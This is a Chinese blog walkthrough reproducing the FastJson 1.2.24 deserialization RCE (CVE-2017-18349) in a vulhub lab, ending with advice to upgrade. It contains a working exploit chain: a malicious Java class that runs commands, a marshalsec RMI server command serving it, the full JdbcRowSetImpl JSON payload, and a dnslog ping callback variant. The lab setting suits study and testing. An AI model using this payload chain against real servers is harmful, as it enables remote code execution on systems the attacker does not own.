漏洞复现|CVE-2017-18349(FastJson1.2.24反序列化导致任意命令执行漏洞)

作者: 村里的小四
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责

0x01 前言

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

0x02 影响范围

影响范围:Fastjson1.2.24及之前版本。

0x03 环境准备

3.1 目标环境

3.1.1 靶场环境
vulhub靶场环境:CVE-2017-18349

3.1.2 靶机:


Ubuntu20.04  ip:192.168.182.128  作用:搭建web服务器和RMI服务,nc接受反弹shell

kali ip :192.168.182.129          作用:靶机,基于vulhub漏洞集成环境运行靶场容器

win10物理机ip:192.168.43.189       作用:使用burpsuit发送POC测试

3.1.3 踩坑点
如果靶场环境启动不成功,以下两个方法供借鉴

更改docker源为国内源
使用root权限重启docker

0x04 漏洞复现

4.1 漏洞利用

为了能成功的利用fj1.2.24(以下简称fj24)反序列化漏洞,需要提前在Ubuntu20.04虚拟机(可自行选择主机系统)上搭建Web服务和RMI服务,通过win10物理机向fj服务器POST提交Poc后,使得靶机访问远程RMI服务,随后RMI将请求重定向到Web服务器后存放在Web服务器中的恶意Java代码(已编辑的反序列化类),从而成功实现远程命令执行。

ubuntu20.04虚拟机生成一个带命令执行的类(或在物理机生成传入),需要安装Java环境(Ubuntu20.04默认存在jdk1.8版本)

新建一个Java脚本,命名为TouchFile.java,将想执行的命令写入代码中,并进行编译。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    
    
    static {
    
    
        try {
    
    
            Runtime rt = Runtime.getRuntime();
            String[] commands = {
    
    "touch", "/tmp/successs"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
    
    
            // do nothing
        }
    }
}

编译代码如下:

javac TouchFile.java

4.2 python开启http服务

python2.x执行命令为

python2 -m SimpleHTTPServer 8000

python3.x执行命令为

python3 -m http.server 8000

踩坑点:win10物理机ping不通虚拟机下的ip,我虚拟机以前的网络配的很乱,VM网络还原默认配置,这个问题就解决。

4.3 下载反序列化利用工具

使用Java反序列化利用工具marshalsec辅助开启RMI环境,需要下载marshalsec、mvn。

下载marshalsec:git clone https://github.com/mbechler/marshalsec

下载maven:apt-get install maven

查看mvn版本

mvn -v

我的mvn版本是:3.6.3

踩坑点:一般用默认的mvn的源创建项目都会失败,我win10Ubuntu20.04都试过失败,把源换成国内源,我用的是阿里云的源。

maven 大多数情况下得换源,不换源一直都是build false。

Ubuntu修改maven源地址教程:https://blog.csdn.net/weixin_33849942/article/details/92348061

进入marshalsec目录,执行mvn clean package -DskipTests 编译生成的marshalsec的jar包。
在这里插入图片描述
进入target目录,借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.182.128:8000/#TouchFile”

在这里插入图片描述

4.4 远程执行命令场景一

物理机访问靶场URL http://192.168.182.129:8090/,使用bp发送构造数据包

POST / HTTP/1.1
Host: 192.168.182.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    
    
    "b":{
    
    
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.182.128:1099/TouchFile",
        "autoCommit":true
    }
}

运行payload,成功后,服务端响应码500。
在这里插入图片描述
在监听端口查看到已建立连接。
在这里插入图片描述
进入靶机查看命令是否执行成功,输入命令进入fj环境容器执行bash:
踩坑点:查看容器id

docker pa -a

列出容器:

docker ps

查看容器id
在这里插入图片描述
执行以下命令查看远程命令是否创建

docker exec -it 7f8b773067b8 /bin/bash

在这里插入图片描述

4.5 远程执行命令场景二

修改TouchFile.java代码进行编译,进行dnslog访问。

踩坑点:注意 python3 -m http.server一定要在TouchFile.class目录下监听!!!不然监听不成功

TouchFile.java某一部分代码改成如下:

String[] commands = {
    
    "ping", "bvgngj.dnslog.cn"}

使用bp抓包加载payload,成功解析dnslog域名:bvgngj.dnslog.cn

0x05 总结

FastJson漏洞是今年来爆出的高危漏洞,修复建议是将FastJson更新到最新版本。

0x06 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

Guess you like

Origin blog.csdn.net/weixin_42282189/article/details/120258118